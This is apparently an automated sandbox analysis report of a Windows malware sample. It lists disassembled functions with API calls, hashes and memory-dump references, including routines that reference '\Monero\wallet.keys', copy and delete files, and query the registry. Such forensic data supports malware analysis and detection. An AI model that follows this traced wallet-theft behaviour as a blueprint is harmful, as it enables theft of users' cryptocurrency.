Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 6b05721617136f2e17329ff0a4c8dafee8c56c22f2ccbc1b898ce0615b0752db
Instruction ID: bfaef2fd5b75d26926caf130eff3c251bc81cbcf6a3e88ef993d20ca943cc618
Opcode Fuzzy Hash: 6b05721617136f2e17329ff0a4c8dafee8c56c22f2ccbc1b898ce0615b0752db
Instruction Fuzzy Hash: 2E61FE71910248DBDB18EFA8CC96BED7775FF84344F008118E91AEB295DB74AA06CB53

Function 00876920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0087696C
sscanf.NTDLL ref: 00876999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008769C0
ExitProcess.KERNEL32 ref: 008769DA

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: bb20791697e107cfbeced319085a0f5dd0b0c2329fc21c0c82424c2c09d27cbc
Instruction ID: dacff15714cb8a18bb4d2886c1a7439c063d09581d8bc755f07c18836fd0dbbb
Opcode Fuzzy Hash: bb20791697e107cfbeced319085a0f5dd0b0c2329fc21c0c82424c2c09d27cbc
Instruction Fuzzy Hash: 1E212C71D00209ABCF44EFE4D845AEEB7B5FF4C300F00812AE01AE3254EB349605CB65

Function 00877E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877E37
RtlAllocateHeap.NTDLL(00000000), ref: 00877E3E
RegOpenKeyExA.ADVAPI32(80000002,0115C370,00000000,00020119,?), ref: 00877E5E
RegQueryValueExA.ADVAPI32(?,0116E2B8,00000000,00000000,000000FF,000000FF), ref: 00877E7F
RegCloseKey.ADVAPI32(?), ref: 00877E92

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 573a3065febaf17a039201ae12f03caceb567e2a6c6ee67fd7fbbe4e60cf7912
Instruction ID: a2fa64573baa5310219e99ee2aca3494f1fdc1c66c05cc95970bd465768accba
Opcode Fuzzy Hash: 573a3065febaf17a039201ae12f03caceb567e2a6c6ee67fd7fbbe4e60cf7912
Instruction Fuzzy Hash: CF116DB2A4420AABD700CFD4DC49FBBBBB8FB09B14F108119F615E7280D7785801CBA1

Function 00879260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0116E390,?,?,?,0087140C,?,0116E390,00000000), ref: 0087926C
lstrcpyn.KERNEL32(00AAAB88,0116E390,0116E390,?,0087140C,?,0116E390), ref: 00879290
lstrlen.KERNEL32(?,?,0087140C,?,0116E390), ref: 008792A7
wsprintfA.USER32 ref: 008792C7

Strings

%s%s, xrefs: 008792B5

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: e1a48da4b66ad80110c71e10f1d4486861de063492aaf8b8db9cb39964bb5793
Instruction ID: 90bdf3cee84a6be8f30760af0826dad5d23835e16de4561be2c02f47fd359e55
Opcode Fuzzy Hash: e1a48da4b66ad80110c71e10f1d4486861de063492aaf8b8db9cb39964bb5793
Instruction Fuzzy Hash: 4E01D375500208FFCB04DFE8C988EBE7BB9EB59354F108548F9098B285C731AE41DBA1

Function 008612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008612B4
RtlAllocateHeap.NTDLL(00000000), ref: 008612BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008612F5
RegCloseKey.ADVAPI32(?), ref: 008612FF

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 66b968cda60b29888632f4d821048d9ceb261c5e6cf616a4139690534db4fa80
Instruction ID: 648ae2122ad8b3433444dae70a6629424b85d6b21ccfc1864372f5009105522b
Opcode Fuzzy Hash: 66b968cda60b29888632f4d821048d9ceb261c5e6cf616a4139690534db4fa80
Instruction Fuzzy Hash: 4901FBB9A40209BBDB00DFE0DC49FAEB7B8EB58701F008159FA05D72C0D7759A01CB51

Function 00876630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00876663

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

ShellExecuteEx.SHELL32(0000003C), ref: 00876726
ExitProcess.KERNEL32 ref: 00876755

Strings

<, xrefs: 008766D9

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: ae9c9ff25a43586dbe24265773a51bf80519a327b9845c74aa8facb19b7b0352
Instruction ID: 03663292b24f6104b4005359d2bdda61d15c7e0560acfde53af68f7a035efcd5
Opcode Fuzzy Hash: ae9c9ff25a43586dbe24265773a51bf80519a327b9845c74aa8facb19b7b0352
Instruction Fuzzy Hash: B1314BB1800218ABDB58EB94CC85BDEBB78FF54300F408198F319A6195DF74AA49CF5B

Function 008787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00880E28,00000000,?), ref: 0087882F
RtlAllocateHeap.NTDLL(00000000), ref: 00878836
wsprintfA.USER32 ref: 00878850

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Strings

%dx%d, xrefs: 00878847

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 9dd55df11d334b196099b7a9700170deca87ceecbd7ea8d21c519c755f5f6681
Instruction ID: 75d788e0a227875c10bb92ad712f71758dc137337056036c4ec5ef0fe477c69b
Opcode Fuzzy Hash: 9dd55df11d334b196099b7a9700170deca87ceecbd7ea8d21c519c755f5f6681
Instruction Fuzzy Hash: DF21EDB1A44209ABDB04DFD4DD49FAEBBF8FB49B11F104119F605A72C0C7799901CBA1

Function 00878D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0087951E,00000000), ref: 00878D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00878D62
wsprintfW.USER32 ref: 00878D78

Strings

%hs, xrefs: 00878D6F

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 740b410276e38939ea9a920d0f0d4d3788febb3df9c5308b7fa1d3f3b8c318d2
Instruction ID: 9cf1d1e5de5af74724b6712f1a45a75fe1c10610e14f55af15cfb1f82377dbb4
Opcode Fuzzy Hash: 740b410276e38939ea9a920d0f0d4d3788febb3df9c5308b7fa1d3f3b8c318d2
Instruction Fuzzy Hash: 88E046B1A4020ABBC700DFD4DD0AA6977A8EB09702F000098FD0986280DB799A018B92

Function 0086A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 00878B60: GetSystemTime.KERNEL32(00880E1A,0116ABF8,008805AE,?,?,008613F9,?,0000001A,00880E1A,00000000,?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 00878B86

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0086A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0086A3FF
lstrlen.KERNEL32(00000000), ref: 0086A6BC

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

DeleteFileA.KERNEL32(00000000), ref: 0086A743

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 03642b20d8a9ac2fab6ea88a4f0e0cb3693c12b5c03627b583e3b47b26d13d49
Instruction ID: 7e2dfa99d3d8ed8e6527201882c0724b9ed9b69c0196d13c34a6ed844ad134e4
Opcode Fuzzy Hash: 03642b20d8a9ac2fab6ea88a4f0e0cb3693c12b5c03627b583e3b47b26d13d49
Instruction Fuzzy Hash: 61E1A2728101189ADB09EBA8DC95EEE7378FF54300F50C169F52AF6095DF34AA49CB63

Function 0086D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 00878B60: GetSystemTime.KERNEL32(00880E1A,0116ABF8,008805AE,?,?,008613F9,?,0000001A,00880E1A,00000000,?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 00878B86

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0086D481
lstrlen.KERNEL32(00000000), ref: 0086D698
lstrlen.KERNEL32(00000000), ref: 0086D6AC
DeleteFileA.KERNEL32(00000000), ref: 0086D72B

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 72c967d1c4d7026020c0da8553a1be115e10f0b6400cd3349e0c1f6ce03735b6
Instruction ID: ddcf464b7e94e2487854ffea3d97d9e0f648f955c433a6a85d743ff64841c17f
Opcode Fuzzy Hash: 72c967d1c4d7026020c0da8553a1be115e10f0b6400cd3349e0c1f6ce03735b6
Instruction Fuzzy Hash: EF91F4719101149ADB08FBA8DC96EEE7338FF54300F508169F52BE6095EF34AA49CB63

Function 0086D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 00878B60: GetSystemTime.KERNEL32(00880E1A,0116ABF8,008805AE,?,?,008613F9,?,0000001A,00880E1A,00000000,?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 00878B86

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0086D801
lstrlen.KERNEL32(00000000), ref: 0086D99F
lstrlen.KERNEL32(00000000), ref: 0086D9B3
DeleteFileA.KERNEL32(00000000), ref: 0086DA32

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fa2d43aa0e42f26b63b2ca2cd1aaf925ae001835106e2add4a2830f3d20c7ebe
